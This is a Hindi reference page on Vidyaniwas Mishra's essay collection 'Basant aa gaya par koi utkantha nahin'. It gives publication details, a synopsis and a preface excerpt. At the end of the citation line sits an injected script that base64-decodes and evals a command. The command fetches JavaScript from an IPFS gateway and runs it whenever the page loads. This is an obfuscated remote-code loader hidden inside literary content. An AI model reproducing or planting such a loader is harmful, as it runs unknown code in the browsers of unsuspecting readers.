बसन्त आ गया पर कोई उत्कण्ठा नहीं -विद्यानिवास मिश्र

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बसन्त आ गया पर कोई उत्कण्ठा नहीं -विद्यानिवास मिश्र
'बसन्त आ गया पर कोई उत्कण्ठा नहीं' का आवरण पृष्ठ
लेखक विद्यानिवास मिश्र
मूल शीर्षक बसन्त आ गया पर कोई उत्कण्ठा नहीं
प्रकाशक लोकभारती प्रकाशन
प्रकाशन तिथि 21 अप्रैल, 2002
देश भारत
पृष्ठ: 107
भाषा हिंदी
विधा निबंध संग्रह
विशेष विद्यानिवास मिश्र जी के अभूतपूर्व योगदान के लिए ही भारत सरकार ने उन्हें 'पद्मश्री' और 'पद्मभूषण' से सम्मानित किया था।

बसन्त आ गया पर कोई उत्कण्ठा नहीं हिन्दी के प्रसिद्ध साहित्यकार और जाने माने भाषाविद विद्यानिवास मिश्र का निबंध संग्रह है।

सारांश

निबन्ध मन की जिस तरंगायित अभिव्यक्ति का नाम है, श्री विद्यानिवास मिश्र के ये निबन्ध अत्यन्त सच्चाई और सूक्ष्मता के साथ इसका प्रतिनिधित्व करते हैं। पं. रामचन्द्र शुक्ल और आचार्य हजारीप्रसाद द्विवेदी के बाद हिन्दी निबन्ध को लोक तत्त्व और परम्परा की गहन अनुभूति से समृद्ध करने वाला नाम पं० विद्यानिवास मिश्र का ही है। इन निबंधों में विषय तो मात्र बहाना है। उस बहाने से निबंधकार आधुनिक जीवन की भीतरी विसंगतियों को बड़ी सूक्ष्मता से उजागर करता है। उसकी भाषा लोकोन्मुखी होने के साथ-ही-साथ संस्कृत और पाश्चात्य साहित्य के गहरे अध्ययन से अत्यन्त काव्यमयी हो उठी है। भाषा की इस काव्यमयता के भीतर ही जीवन के वे छलछलाते प्रसंग छिपे हैं जो बार-बार निबंधकार को एक मुक्त-आवेश की सृष्टि करने को विवश करते हैं। लेखक के व्यक्तित्व और अभिव्यक्ति से सन्निहित यह मुक्त आवेश ही उनके निबंधों को उस नैतिक अनुशासन से समृद्ध करता है जो हर आधुनिक लेखन की पहली शर्त है। आधुनिक हिन्दी साहित्य में जब गद्य की अन्य विधायें आज अधिक प्रमुख और महत्वपूर्ण मानी जाने लगी हैं यह निबंध-संग्रह-विधा को पुनरूज्जीवित करने का एक महत्वपूर्ण और सफल प्रयास है।

पुस्तक के कुछ अंश

पुनश्च

‘‘बसन्त आ गया पर कोई उत्कंठा नहीं’’ का नया संस्करण निकल रहा है। इससे स्वाभावतः प्रसन्नता होती है। श्री दिनेश जी ने मुझसे कुछ भूमिका में जोड़ने को कहा। लगभग 32 वर्ष बाद जब इसका प्रस्तुत संस्करण निकल रहा है, मेरी रचना यात्रा के कई पड़ाव पीछे छूट चुके हैं और बसन्त अपने अर्थ के साथ आज भी आवेधन बना हुआ है। इस रचना को मैंने स्व. डॉ. लोहिया को समर्पित किया था। डॉ. लोहिया के निराशा के बीच भी न मरने वाली आशा के कुछ शब्द मैंने उस समय की भूमिका में लिखे थे। आज वे शब्द यथार्थ होकर सामने उपस्थित हो रहे हैं।

पता नहीं डॉ. लोहिया होते तो अपने को कितने अकेले पाते और कितना आज की परिस्थिति में राजनीति के लिए संकल्प शक्ति कार्यान्वित कर पाते। मैं नहीं मानता कि जो कुछ उन्होंने कहा वह व्यर्थ गया। व्यर्थ जाने लायक उन्होंने कुछ किया ही नहीं, पर उसकी अर्थ कहीं ऐसी अन्धी गुफा में ढकेल दिया गया है जहाँ से वह निकलने के लिए छटपटा रहा है। बसन्त उपलक्षण है, ऐसी सिसृक्षा का जो अपने को निःस्व बनाने का जोखिम उठाती है और जो रचती है उसमें स्वयं को विलीन करने का उल्लसित भाव रखती हैं। इसी रूप में बसन्त वेधक भी है और मोहक भी। मैं उसी बसन्त का आवाहन करना चाहता हूँ। एक निःस्व हो रहे देश में और निःस्वता की कीमत अदा कर असली स्व को पहचानने के लिए छटपटा रहे देश में। -विद्यानिवास मिश्र[1]



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टीका टिप्पणी और संदर्भ

  1. बसन्त आ गया पर कोई उत्कण्ठा नहीं (हिंदी) pustak.org। अभिगमन तिथि: 8 अगस्त, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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